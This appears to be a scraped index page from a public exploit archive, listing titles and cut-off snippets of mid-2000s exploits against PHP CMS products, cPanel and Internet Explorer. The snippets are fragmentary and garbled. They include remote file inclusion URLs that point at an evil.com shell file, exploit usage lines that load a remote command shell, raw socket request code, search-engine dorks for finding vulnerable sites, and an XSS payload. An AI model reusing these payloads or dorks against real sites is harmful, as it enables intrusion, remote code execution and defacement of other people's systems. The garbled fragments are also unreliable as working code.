miniforum.txt

Miniforum - plugin for BLOG:CMS and Nucleus CMS - Remote File Inclusion ------------------------------------------------------------------------------------ Description: With this plugin you can easily add simple forum guestbook to your weblog. It can also to use as a shoutbox. Bug Found by: jank...

BasiliX 1.1.1 - BSX_LIBDIR Remote File Inclusion

BasiliX 1.1.1 - BSXLIBDIR Remote File Inclusion ?php / ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+...

VideoDB 2.2.1 - pdf.php Remote File Inclusion

VideoDB 2.2.1 - pdf.php Remote File Inclusion ?php / ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:...

cPanel 5-10 - SUID Wrapper Privilege Escalation

source: https://www.securityfocus.com/bid/20163/info cPanel is prone to a remote privilege-escalation vulnerability. A remote attacker can exploit this issue to gain administrative access to the affected application. This may lead to other attacks. cPanel Sorry Safe-mode Is On Script Not Work On...

exV2 2.0.4.3 - extract() Remote Command Execution

exV2 2.0.4.3 - extract Remote Command Execution !/usr/bin/php -q -d shortopentag=on ? printr' ------------------------------------------------------------------------------- exV2 = 2.0.4.3 extract remote commands execution exploit mail: [email protected] site: http://retrogod.altervista.org dork:...

e-Vision CMS 2.0 - all_users.php SQL Injection

e-Vision CMS 2.0 - allusers.php SQL Injection !/usr/bin/php -q -d shortopentag=on / / site: http://www.soqor.net /'; if $argc0 Echo trim$var1; $page = getpage$url.$exploit; $page2 = getpage$url.$exploit2; ifpregmatch'/.+?/is',$page Echo "\n+...

e-Vision CMS 2.0 - 'all_users.php' SQL Injection

!/usr/bin/php -q -d shortopentag=on / / site: http://www.soqor.net /'; if $argc0 Echo trim$var1; $page = getpage$url.$exploit; $page2 = getpage$url.$exploit2; ifpregmatch'/.+?/is',$page Echo "\n+ User Name : "; pregreplacecallback'/\td...

Exponent CMS 0.96.3 - 'view' Remote Command Execution

!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.="...

GNUTURK 2G - t_id SQL Injection

GNUTURK 2G - tid SQL Injection ",$html; $rtmp=explode"",$tmp1; $ausername=$rtmp0; $tmp=explode'',$html; $rtmp=explode"",$tmp1; $apass=$rtmp0; echo "--------------------------------\n"; echo "Powered by p2y...

PhotoPost 4.6 - 'PP_PATH' Remote File Inclusion

==================================================================== PhotoPost = 4.6 PPPATH Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By Saudi Hackrz http://www.popphoto.com/...

Mambo com_serverstat Component <= 0.4.4 File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================== Mambo comserverstat Component = 0.4.4 File Include Vulnerability ==================================================================...

Microsoft Internet Explorer - COM Object Remote Heap Overflow

/ ----------------------------------------------------------------------- daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit !!! 0day !!! Public Version !!! Copyright C 2006 XSec All Rights Reserved. Author : nop : nopxsec.org : http://www.xsec.org : Tested : Windows 20...

flashchat.txt

NeXtMaN Here are 2 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt? http://site.com/scriptpath/inc/cmses/aedatingCMS2.php?dirinc=http://evil.com/shell.txt? video here: Code:...

WDT :-phpopenchat-3.0.* &#40;$sourcedir&#41; Remote File Inclusion Exploit

World Defacers Team --------------------Summary---------------- eVuln ID: WD23 Vendor: phpopenchat-3.0. Vendor's Web Site: http://phpopenchat.org Class: Remote PoC/Exploit: Available Solution: Not Available Discovered by: rUnViRuS wdzone.net & worlddefacers.de...

Pheap CMS 1.1 - 'lpref' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Pheap CMS perl exploit.pl http://site.com/PheapPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; in config.php line 13: .... include$lpref."lib/globals.php"; .... $sciezka =...

e107 &lt;= 0.75 (GLOBALS Overwrite) Remote Code Execution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? printr' -------------------------------------------------------------------------------- e107 = 0.75 GLOBALS overwrite/ZendHashDelKeyOrIndex remote commands execution exploit by rgod [email protected] site:...

Phaos <= 0.9.2 basename() Remote Command Execution Exploit

Exploit for unknown platform in category web applications ========================================================== Phaos = 0.9.2 basename Remote Command Execution Exploit ========================================================== ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+...

Wikepage Opus 10 2006.2a (lng) - Remote Command Execution

Wikepage Opus 10 2006.2a lng - Remote Command Execution !/usr/bin/perl WIKEPAGE "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent:...

NES Game and NES System c108122 - Remote File Inclusion

NES Game and NES System c108122 - Remote File Inclusion / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - NES Game & NES System = c108122 phphtmllib Remote File Include Vulnerability + + + - Script name: NES Game & NES System v. c108122 - Script site: http://sourceforge.net/projects/nesgame...

mojoxss.txt

SOFTWARE: ========= MojoScripts' mojoGallery All version DESCRIPTION: ============ dork: "Powered by mojoGallery" add to last path /admin.cgi , admin and password input alert"lol" or all html tags ===================== mail: [email protected] , [email protected] web: www.ayyildiz.org special...